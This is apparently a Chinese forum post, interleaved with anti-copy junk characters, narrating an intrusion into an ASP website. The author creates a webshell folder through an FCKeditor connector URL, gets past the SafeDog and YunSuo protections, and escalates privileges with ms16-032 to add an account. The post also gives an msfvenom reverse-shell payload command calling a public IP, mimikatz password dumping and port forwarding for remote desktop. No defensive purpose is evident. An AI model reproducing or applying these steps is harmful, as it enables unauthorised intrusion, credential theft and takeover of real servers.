7 D- n: V6 D9 ]: t | 0 g8 z) k& L' h& r; g
$ f' Q3 I; A M. b. E' m- O
% B, \; O% M/ Y! t" _
一、 利用getwebshell篇
/ X$ `3 g2 i: t1 j
0 Q( T# W6 \1 ?* ^6 x6 V+ i首先对目标站进行扫描，发现是asp的，直接扫出网站后台和默认数据库，下载解密登陆如图：
# I Y" f2 Y! ^/ R* h4 v
2 D2 g# P+ u% o% [
5 l1 |; O4 |! B9 i9 D+ G( S$ r$ J
下面进后台发现有fckeditor，而且还是iis6.0的，可以考虑创建个asp目录来构造解析（fck编辑器路径被改成别的需要burpsuite抓包的时候看到）
. T6 K4 y. j+ l) i$ n
# d, |& o* }5 C7 E# L, D! Q
下面我们构造一个asp目录，如：
$ c) D* d$ V) m
+ x# e3 P8 Q M, U& G9 [
$ ]7 P, U+ H1 {" e4 @1 Y8 {& [2 { http://www.xxoo.com/manage/hscxeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975 " h2 s: o6 H# B# ?9 S- x( m
& V5 q6 F, }8 T1 k
4 U% i3 [" {7 }* \, f: I
然后再给shell.asp目录上传一个jpg图片格式的一句话，然后用hatchet打开，然后看了一下支持aspx，那么我们就用包含的办法先把aspx后缀名改成.rar，然后再创建个111.ASPx，里面包含rar文件，进去以后看进程有云锁和安全狗，那么，那么我们慢慢来，慢慢来。
6 g- Z2 e; c: C, A# L, }3 x
2 P# L* ]" a" m1 i, E1 S, W& K' N一、 绕过安全狗云锁提权并且加账号
1 a6 Q2 J/ i: L4 ~
0 b) k0 A) I: e* j! Z# l, \5 \没法看系统信息，但是根据网站404页面可以断定是2003服务器，然后接着访问C:\Program Files (x86)存在断定是2003 64位系统，那么我们说干就干，我们上传ms16-032 64位直接干，但是发现上传exe或者别的格式exp会自动消失，看进程也没杀毒呀，没错没杀毒，是云锁有个功能防御了，那么突破云锁上传的方法就是利用rar，先把exp打包为64.rar上传，然后我们翻一下rar在哪个目录，在C:\Program Files (x86)，然后开干
! v) Y9 L% P1 c6 P0 @7 o# U1 \
+ [: N( t4 f, K+ W5 f6 l# j
如图：
. ], r: v! s; V6 g1 t' g& X
3 \& b' R* D9 l$ C/ l Z) B8 [2 t然后执行直接是system权限,然后我用干狗神器给加了一个账号用tunna反弹3968提示不是远程组，我操后来也想着用getpassword64抓明文密码，但是一执行就卡死，没办法想到了metasploit
5 }7 ?% ~- i6 |4 z; Z9 y0 v
$ z4 m4 P2 z. A/ I
一、 利用metasploit
% {0 X1 L2 c; `' ~
% P9 i# p ~" t) D6 x8 B9 x- q
首先用pentestbox生成一个64位的payload如下命令
( Y6 h* V2 q, s9 F, J6 o
- a' r" K# P. a0 ~
msfVENOM -p windows/x64meterpreter/reverse_tcp lhost=42.51.1.1 lport=443 -f exe > c:\mata.exe
" y J4 i+ X2 p) L. g
5 O% C' e" Z0 g7 e3 v为什么要用443端口，之前我测试用别的端口直接被墙了没法上线，下面我们在system下执行这个mata，上线如图：
. O/ b- s. b2 _& \2 A
4 a% l) c& N: ]" j$ V+ M下面我们用这个命令抓一下明文密码命令1：use mimikatz 命令2：kerberos如下图：
" I2 N, a2 r) X+ t" F& i
: E3 B, Z; d7 U6 a; D+ I
下面我们来做一个监听如下命令：
& {! @; @# C: B
; B" P5 A# u# r+ U5 Zportfwd add -l 6655 -p 3968 -r 127.0.0.1，这个命令的意思就是把目标服务器的远程3968转发到pentestbox的公网IP的6655端口如图：
# R& k, t5 M+ Q* @4 D% Y
 z4 f- I/ D3 @
4 I& j5 f% p3 L1 v6 I
|
4 L# R0 B3 `, Z/ G$ b7 m6 x
发表于 2018-10-20 20:31:43
收藏
支持
反对
匿名
发表于 2021-11-20 23:30:06